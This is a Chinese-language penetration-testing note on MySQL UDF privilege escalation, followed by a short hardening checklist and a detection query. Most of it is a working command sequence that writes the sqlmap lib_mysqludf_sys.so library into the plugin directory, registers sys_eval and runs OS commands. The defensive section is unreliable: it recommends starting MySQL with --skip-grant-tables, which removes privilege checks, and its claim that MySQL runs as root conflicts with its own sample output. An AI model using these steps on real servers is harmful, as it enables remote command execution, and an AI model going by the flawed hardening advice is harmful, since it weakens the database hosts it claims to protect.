前置條件與風險提示
- 僅供安全研究與防禦加固參考,嚴禁非法入侵
- 需滿足:MySQL 以 root 運行、擁有
mysql.func 表權限、未啟動 --skip-grant-tables
- UDF (User Defined Function) 允許動態加載共享庫擴展 SQL 功能
實戰環境
OS: Linux (BT5, x86_64)
MySQL: 5.x, plugin_dir=/usr/lib/mysql/plugin
工具集: sqlmap 自帶 UDF 庫
三步提權流程
1. 確認插件目錄
SHOW VARIABLES LIKE '%plugin%';
-- plugin_dir = /usr/lib/mysql/plugin
2. 獲取對應架構 UDF 庫二進制十六進制
# 選擇 64 位庫
ls /pentest/database/sqlmap/udf/mysql/linux/64/
# lib_mysqludf_sys.so
# 轉十六進制寫入文件
mysql> SELECT HEX(LOAD_FILE('/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so'))
INTO OUTFILE '/tmp/udf.txt';
3. 寫入插件目錄並加載函數
# 確保目錄可寫 (實戰中 MySQL 以 root 運行通常無需此步)
chmod 777 /usr/lib/mysql/plugin
-- 從十六進制文件還原二進制庫
SELECT UNHEX('7F454C46020101...') INTO DUMPFILE '/usr/lib/mysql/plugin/mysqludf.so';
-- 查看庫導出函數
\! nm -D /usr/lib/mysql/plugin/mysqludf.so
# sys_eval, sys_exec, sys_get, sys_set, sys_bineval 等
-- 創建函數映射
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'mysqludf.so';
-- 測試命令執行
SELECT sys_eval('whoami');
-- 返回: mysql (MySQL 進程用戶)
SELECT sys_eval('id');
-- 返回: uid=27(mysql) gid=27(mysql) groups=27(mysql)
-- 驗證 func 表
SELECT * FROM mysql.func;
-- name=sys_eval, ret=0, dl=mysqludf.so, type=function
核心函數說明
| 函數 | 功能 | 返回值 |
sys_eval(cmd) | 執行命令並捕獲標準輸出 | 命令輸出文本 |
sys_exec(cmd) | 執行命令不捕獲輸出 | 退出碼 (0 成功) |
sys_get('env_var') | 獲取環境變量 | 變量值 |
sys_set('var', 'val') | 設置環境變量 | 0/1 |
sys_bineval(cmd) | 二進制數據命令執行 | 二進制輸出 |
防禦加固清單
- 禁止 MySQL 以 root 運行:專用
mysql 用戶,最小權限原則
- 啟動參數加上
--skip-grant-tables 禁用 UDF (但會影響部分管理功能)
- 插件目錄權限收緊:
chown root:root /usr/lib/mysql/plugin; chmod 755
- 禁用 CREATE FUNCTION 權限:
REVOKE INSERT ON mysql.func FROM 'app_user';
- 監控 func 表變更:審計觸發器或定時腳本檢測新增 UDF
- 部署 WAF/RASP:攔截
CREATE FUNCTION、SELECT sys_eval 等高危 SQL
檢測腳本
#!/bin/bash
# 定時掃描可疑 UDF
mysql -e "SELECT name, dl FROM mysql.func WHERE dl LIKE '%udf%' OR name IN ('sys_eval','sys_exec','sys_get','sys_set');"
# 發現異常立即告警